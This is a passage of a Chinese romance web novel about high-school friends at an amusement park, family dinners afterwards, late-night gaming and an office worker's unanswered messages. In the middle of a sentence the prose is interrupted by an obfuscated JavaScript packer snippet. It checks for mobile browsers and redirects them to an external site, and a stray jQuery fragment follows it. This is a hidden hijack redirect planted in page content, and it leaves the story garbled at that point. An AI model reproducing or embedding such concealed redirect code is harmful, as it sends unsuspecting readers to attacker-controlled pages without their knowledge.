从过山车下来后，沈翊丞的手心还残留着鹿知秋的温度。他低头佯装整理衣服袖口，余光却偷偷观察身旁蹦蹦跳跳的少女。鹿知秋正举着手机，兴奋地向乔依依展示抓拍的“丑照”，屏幕里沈翊丞紧闭双眼、五官皱成一团的模样，和她笑出酒窝的侧脸形成鲜明对比，“摩天轮那边人少！”陆淮突然指着远处喊道。季霖川自然地站到乔依依身边，替她挡住拥挤的人群，轻声问：“要不要去？”乔依依点点头，发梢扫过他的衣袖，带起一阵若有若无的栀子花香。
排队时，沈翊丞看着缓缓转动的摩天轮轿厢，喉结动了动。这次不等他开口，鹿知秋已经拽着他钻进轿厢：“胆小鬼，敢不敢和我比谁先喊停？”轿厢升到半空时，她突然安静下来，托着下巴望向窗外，夕阳把她的睫毛染成金色。
“其实我……”沈翊丞刚开口，轿厢突然轻微晃动。鹿知秋吓得抓住他的手臂，温热的呼吸扫过他手腕：“你别乱动啊！”两人的距离近得能听见彼此心跳，沈翊丞原本准备坦白恐惧的话，又变成了故作镇定的调侃：“原来鹿大小姐也会怕？”
另一边，乔依依望着脚下逐渐变小的人群，突然说：“上次火锅局，你调的酱料其实很难吃。”季霖川愣了一下，耳尖迅速变红：“那、那是失误！”见他慌乱的样子。乔依依笑着说：“下次我教你调一个蘸料。”
摩天轮转到最高点时，晚霞正好铺满整个天空。陆淮举着手机疯狂拍照，嚷嚷着要发班级群，却被沈翊丞踹了一脚：“直男拍照角度，丑死了！”五人的笑声混着晚风，飘散在游乐园上空。
夜幕降临时，旋转木马亮起暖黄的灯光。鹿知秋突然拉着沈翊丞跑到队伍最前面：“最后一个项目，不许耍赖！”当木马开始转动，少女的裙摆飞扬起来，发绳不知何时松开，长发在风中散开。沈翊丞鬼使神差地伸手，替她别到耳后，动作轻得像触碰易碎的玻璃。返程的地铁上，鹿知秋靠在乔依依肩头睡着了。沈翊丞望着对面熟睡的鹿知秋，发现她睫毛上还沾着过山车时溅到的水珠。手机突然震动，是他妈妈发来的消息：“小丞还有多久回家，”“在路上了”回复完消息后，他的视线又落在了她的身上。
地铁到站的提示音响起，乔依依叫醒鹿知秋。五人背着夕阳走出站台。季霖川自然地接过乔依依的帆布包，沈翊丞和鹿知秋还在为谁请客喝奶茶争论，陆淮则掏出手机预订下周末的密室逃脱。游乐园的灯光在身后渐次亮起，少年少女的身影被拉得很长，将这个夏天的心动，都写进了未完待续的青春里。
防盗门被钥匙拧开的瞬间，糖醋排骨的香气裹挟着熟悉的温暖扑面而来。鹿知秋甩掉磨脚的运动鞋，书包还挂在肩头就蹦到餐桌前：“爸妈我回来了！饿死啦！”陈缪系着印着小熊图案的围裙从厨房探出头，眼角笑出细密的纹路：“洗手去，就等你了。”鹿明谦正往青瓷碗里盛例汤，镜片后的眼睛眯成两道缝：“瘦了，学校饭堂的菜没营养。”“哪有！我们还去吃了火锅和烧烤呢。”鹿知秋扒着门框，瞥见沙发旁空荡荡的电竞椅，“哥哥呢？我给他带了游乐园的纪念徽章。”
汤勺碰撞瓷碗的声音突然顿住。鹿明谦扶了扶眼镜，将汤碗推到她面前：“你哥哥啊……也不知道怎么回事，你开学前一天在家睡了一整天，第二天一大早就回新安去了。”
陈缪擦着手从厨房走出来，往女儿碗里夹了块酥软的排骨：“电话也不接，发消息就回‘在忙’。你别学他，在学校要按时吃饭。”她的语气轻快，可指尖无意识摩挲着围裙边角的动作，还是泄露了几分担忧。鹿知秋咬着筷子愣住。记忆里哥哥鹿凛总是会在开学前帮她整理书包，往行李箱塞偷偷藏起来的零食。这次不仅错过送她去学校，甚至连告别都没有。她低头戳着碗里的米饭，忽然想起在游乐园坐过山车时，那种失重又心慌的感觉，此刻又漫上心头。
“可能项目上有急事吧。”鹿明谦给妻子夹了块青菜，打破沉默，“快吃，菜凉了。”他举起酒杯轻抿一口，酒液晃动间，倒映出墙上全家福里鹿凛灿烂的笑容。
鹿知秋望着空着的座位，悄悄把口袋里的徽章攥紧。此时鹿知言坐在办公桌前，也不知道她怎么样了。谢雨棠这一周过的也并不是那么好，每天都在加班，只有加班才能让她没有时间去想其他的事情。
乔依依拖着行李箱打开家门，玄关处暖黄色的灯光倾泻而下，瞬间驱散了军训一周的疲惫。妈妈系着碎花围裙从厨房探出头，眼角眉梢都漾着笑意：“宝贝回来啦！快洗手，就等你开饭了！”。“还是家里好。”乔依依深吸一口气，熟悉的饭菜香里混合着妈妈常用的茉莉花香薰，让人安心。她弯腰换鞋时，瞥见鞋柜上多了个小巧的多肉盆栽，叶片肥厚饱满，缀着几颗晶莹的水珠。“这是......”她指着盆栽疑惑地抬头。爸爸从书房走出来，推了推眼镜，故作随意道：“路过花店看着好看就买了，也不知道你喜不喜欢。”乔依依却注意到他藏在背后的手，指甲缝里还沾着泥土。
餐桌上摆满了她爱吃的菜，糖醋鱼的酱汁闪着诱人的光泽，清炒时蔬还带着翠绿的鲜嫩。妈妈不住地往她碗里夹菜，絮絮叨叨地问着军训累不累，有没有人欺负她。乔依依咬着软糯的鱼肉，含糊不清地说：“我们宿舍可好了，四人间，天天和小秋一起上课下课。”
“和秋秋在学校要好好的”。爸爸突然开口，嘴角带着若有若无的笑意。
妈妈问道：“在学校过的怎么样？有没有认识什么新的朋友？”乔依依手一抖，差点把筷子掉进汤碗里。想起在学校认识的男生，不经意的心虚。没有认识什么新朋友，我和秋秋天天都呆在一起的。
沈翊丞瘫在真皮沙发上，平板里的照片一张张划过。烧烤摊的烟火气、过山车前的大笑脸、摩天轮轿厢里摇晃的光影，最后停在鹿知秋举着棉花糖的特写——少女睫毛上沾着糖霜，唇角勾起的弧度比夕阳还甜。他鬼使神差地双指放大，屏幕蓝光映得眼底发烫，直到母亲的声音从厨房传来：“小丞，下来把牛奶喝了。”
“来了！”，声音从3楼传向了1楼，季霖川盯着手机里“火锅小分队”群聊界面，拇指在键盘上悬了又悬。窗外蝉鸣渐歇，远处便利店的霓虹灯光透过纱帘，在“打游戏啊”四个字上投
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855432|175905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下细碎光斑。发送键按下的瞬间，他抓起枕边的多肉小盆栽，用镊子小心翼翼地调整叶片方向，像在掩饰狂乱的心跳。
陆淮咬着冰棍滑进电竞椅，电脑屏幕的冷光映出他挑高的眉。“哟，季大公子终于想起我们了？”他飞速敲击键盘接受组队邀请，游戏加载界面跳出沈翊丞的头像，“丞哥今天转性了？居然主动上线？”
游戏大厅里，五人头像陆续亮起。鹿知秋的ID“芝士焗月亮”闪烁着加入，乔依依秒发了个熊猫头疑惑表情包：“说好不熬夜的呢？”季霖川盯着对话框，指尖无意识摩挲着手机边缘，在公屏打下：“就玩两局。”
水晶枢纽的蓝光在五人屏幕上跳动时，沈翊丞的百里守约接连空大。鹿知秋的瑶挂在他头上急得打字：“沈翊丞你梦游呢？！”他望着队友列表里那抹粉色头像，突然想起过山车俯冲时相握的手，喉结滚动着回了个傲娇的猫猫表情，下一秒却精准狙中敌方残血。
凌晨两点，乔依依的“投降”申请弹出。季霖川盯着结算界面自己MVP的标识，退出游戏点开私聊框：“后天给你带学校后门的鸡蛋灌饼？”发送成功后，他盯着漆黑的天花板，听见窗外传来零星的夜虫鸣叫。手机震动的声音让他立马拿了起来。对面发来了一个“好”。
玻璃幕墙外的霓虹次第亮起时，谢雨棠第无数次刷新手机屏幕。聊天界面停在一周前那个傍晚，鹿知言的最后一条消息安静地躺在那里：“昨天的话就当我没说过吧。”对话框右上角的输入框始终没有跳动的迹象，像悬在半空的承诺，落不到实处。
她转着钢笔，望着办公桌上冷掉的美式发呆。奶泡早已消散，杯壁凝结的水珠顺着曲线滑落，在合同文件边缘晕开淡淡的褶皱。上周例会结束，总监拍着她的肩膀说：“小谢，这次季度方案全靠你了。”可键盘敲击声再密集，也盖不住记忆里咖啡豆研磨的沙沙声——那天鹿知言穿着浅灰色针织衫，修长的手指握着虹吸壶，琥珀色的咖啡液在玻璃管里翻涌，像藏着整个黄昏的温柔。
深夜加班的办公室只剩中央空调低沉的嗡鸣。谢雨棠揉着酸涩的眼睛起身接水，茶水间镜面倒映出她眼下的青黑。手机突然震动，她几乎是踉跄着去抓包，屏幕亮起的瞬间呼吸凝滞——却是推送的天气提醒。冰凉的金属水杯贴在脸颊，她才惊觉掌心不知何时已满是汗意。
周末整理抽屉时，那张咖啡馆的小票掉了出来。潦草的字迹记录着“冰美式×22022.08.3121:47”，日期边缘被她反复摩挲得发毛。想起那天鹿知言将糖罐推向她时，袖口掠过的雪松香，又想起分别时他说的那些话，转身却淹没在人潮里的背影。窗外的雨突然大起来，雨点砸在玻璃上，恍惚间竟像是咖啡馆屋檐的滴水声。
凌晨三点，谢雨棠鬼使神差地打开对话框。输入框里的光标不停闪烁，她删掉又重打：“最近......”“有空吗？”最终只留下一个句号，在发送键上方悬停许久，终究还是锁上了手机。黑暗中，屏幕熄灭前的最后一秒，她看见自己倒映在玻璃上的表情，像极了那杯凉透的咖啡，泛着苦涩的涟漪。